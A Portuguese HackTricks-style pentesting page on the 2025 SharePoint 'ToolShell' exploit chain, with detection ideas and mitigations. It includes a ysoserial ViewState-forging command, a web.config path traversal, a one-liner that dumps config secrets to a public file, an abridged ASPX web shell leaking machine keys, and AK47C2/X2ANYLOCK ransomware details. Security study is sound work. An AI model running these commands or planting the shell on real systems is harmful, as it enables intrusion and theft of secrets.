181 lines
9.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (local) é construído sobre ASP.NET/IIS. A maior parte da superfície de ataque web clássica (ViewState, Web.Config, web shells, etc.) está, portanto, presente, mas o SharePoint também vem com centenas de páginas ASPX proprietárias e serviços web que ampliam dramaticamente a superfície de ataque exposta. Esta página coleta truques práticos para enumerar, explorar e persistir dentro de ambientes SharePoint, com ênfase na cadeia de exploração de 2025 divulgada pela Unit42 (CVE-2025-49704/49706/53770/53771).
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. 2025 cadeia de exploração (a.k.a. “ToolShell”)
### 2.1 CVE-2025-49704 Injeção de Código em ToolPane.aspx
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` permite que código *Server-Side Include* arbitrário seja injetado na página, que é posteriormente compilada pelo ASP.NET. Um atacante pode incorporar C# que executa `Process.Start()` e inserir um ViewState malicioso.
### 2.2 CVE-2025-49706 Bypass de Autenticação Impropria
A mesma página confia no cabeçalho **X-Forms_BaseUrl** para determinar o contexto do site. Ao apontá-lo para `/_layouts/15/`, a MFA/SSO aplicada no site raiz pode ser contornada **sem autenticação**.
### 2.3 CVE-2025-53770 Desserialização de ViewState Não Autenticada → RCE
Uma vez que o atacante controla um gadget em `ToolPane.aspx`, ele pode postar um valor `__VIEWSTATE` **não assinado** (ou apenas com MAC) que aciona a desserialização .NET dentro do *w3wp.exe*, levando à execução de código.
Se a assinatura estiver habilitada, roube a **ValidationKey/DecryptionKey** de qualquer `web.config` (veja 2.4) e forje o payload com *ysoserial.net* ou *ysodom*:
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
Para uma explicação detalhada sobre como abusar do ASP.NET ViewState, leia:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 Path Traversal / divulgação do web.config
Enviar um parâmetro `Source` elaborado para `ToolPane.aspx` (por exemplo, `../../../../web.config`) retorna o arquivo alvo, permitindo a divulgação de:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forjar cookies ViewState / ASPXAUTH
* strings de conexão e segredos.
## 3. Receitas de pós-exploração observadas na natureza
### 3.1 Exfiltrar todos os arquivos *.config* (variação-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
O `debug_dev.js` resultante pode ser baixado anonimamente e contém **todas** as configurações sensíveis.
### 3.2 Implantar um shell web ASPX codificado em Base64 (variação-2)
```
powershell.exe -EncodedCommand <base64>
```
Exemplo de payload decodificado (abreviado):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
Escrito para:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
A shell expõe endpoints para **ler / girar chaves de máquina** que permitem forjar cookies ViewState e ASPXAUTH em toda a fazenda.
### 3.3 Variante ofuscada (variação-3)
Mesma shell, mas:
* colocada em `...\15\TEMPLATE\LAYOUTS\`
* nomes de variáveis reduzidos a letras únicas
* `Thread.Sleep(<ms>)` adicionado para evasão de sandbox e bypass de AV baseado em tempo.
### 3.4 Backdoor multi-protocolo AK47C2 & ransomware X2ANYLOCK (observado 2025-2026)
Investigações recentes de resposta a incidentes (Unit42 “Projeto AK47”) mostram como os atacantes aproveitam a cadeia ToolShell **após RCE inicial** para implantar um implante C2 de canal duplo e ransomware em ambientes SharePoint:
#### AK47C2 variante `dnsclient`
* Servidor DNS hard-coded: `10.7.66.10` comunicando com o domínio autoritativo `update.updatemicfosoft.com`.
* Mensagens são objetos JSON criptografados com XOR usando a chave estática `VHBD@H`, codificados em hex e incorporados como **rótulos de subdomínio**.
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
```
* Consultas longas são divididas em partes e prefixadas com `s`, depois reassembladas no lado do servidor.
* O servidor responde em registros TXT carregando o mesmo esquema XOR/hex:
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
```
* A versão 202504 introduziu um formato simplificado `<COMMAND>::<SESSION_KEY>` e marcadores de partes `1`, `2`, `a`.
#### AK47C2 variante `httpclient`
* Reutiliza o mesmo JSON & rotina XOR, mas envia o blob hex no **corpo HTTP POST** via `libcurl` (`CURLOPT_POSTFIELDS`, etc.).
* Mesmo fluxo de trabalho de tarefa/resultado permitindo:
* Execução arbitrária de comandos de shell.
* Intervalo de sono dinâmico e instruções de kill-switch.
#### Ransomware X2ANYLOCK
* Payload C++ de 64 bits carregado através de side-loading de DLL (veja abaixo).
* Emprega AES-CBC para dados de arquivo + RSA-2048 para embrulhar a chave AES, depois anexa a extensão `.x2anylock`.
* Criptografa recursivamente unidades locais e compartilhamentos SMB descobertos; ignora caminhos do sistema.
* Lança nota em texto claro `How to decrypt my data.txt` incorporando um **Tox ID** estático para negociações.
* Contém um **kill-switch** interno:
```c
if (file_mod_time >= "2026-06-06") exit(0);
```
#### Cadeia de side-loading de DLL
1. O atacante escreve `dllhijacked.dll`/`My7zdllhijacked.dll` ao lado de um legítimo `7z.exe`.
2. O `w3wp.exe` gerado pelo SharePoint inicia `7z.exe`, que carrega a DLL maliciosa devido à ordem de busca do Windows, invocando o ponto de entrada do ransomware na memória.
3. Um loader LockBit separado observado (`bbb.msi``clink_x86.exe``clink_dll_x86.dll`) descriptografa o shell-code e realiza **DLL hollowing** em `d3dl1.dll` para executar LockBit 3.0.
> [!INFO]
> O mesmo Tox ID estático encontrado no X2ANYLOCK aparece em bancos de dados vazados do LockBit, sugerindo sobreposição de afiliados.
---
## 4. Ideias de detecção
| Telemetria | Por que é suspeito |
|-----------|----------------------|
| `w3wp.exe → cmd.exe` | O processo de trabalho raramente deve gerar shell |
| `cmd.exe → powershell.exe -EncodedCommand` | Padrão clássico de lolbin |
| Eventos de arquivo criando `debug_dev.js` ou `spinstall0.aspx` | IOCs diretamente do ToolShell |
| `ProcessCmdLine CONTÉM ToolPane.aspx` (logs ETW/Módulo) | PoCs públicas invocam esta página |
Exemplo de regra XDR / Sysmon (pseudo-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. Dureza & Mitigação
1. **Patch** Atualizações de segurança de julho de 2025 corrigem *todos* os quatro CVEs.
2. **Rotacione** todos os segredos de `<machineKey>` e `ViewState` após a violação.
3. Remova a permissão de escrita *LAYOUTS* dos grupos `WSS_WPG` & `WSS_ADMIN_WPG`.
4. Bloqueie o acesso externo a `/_layouts/15/ToolPane.aspx` no nível do proxy/WAF.
5. Ative **ViewStateUserKey**, **MAC habilitado** e *EventValidation* personalizado.
## Truques relacionados
* IIS pós-exploração & abuso de web.config:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## Referências
- [Unit42 Exploração Ativa de Vulnerabilidades do Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC Cadeia de exploração ToolShell](https://github.com/real-or-not/ToolShell)
- [Microsoft Security Advisory CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Unit42 Projeto AK47 / Exploração do SharePoint & Atividade de Ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
- [Microsoft Security Advisory CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}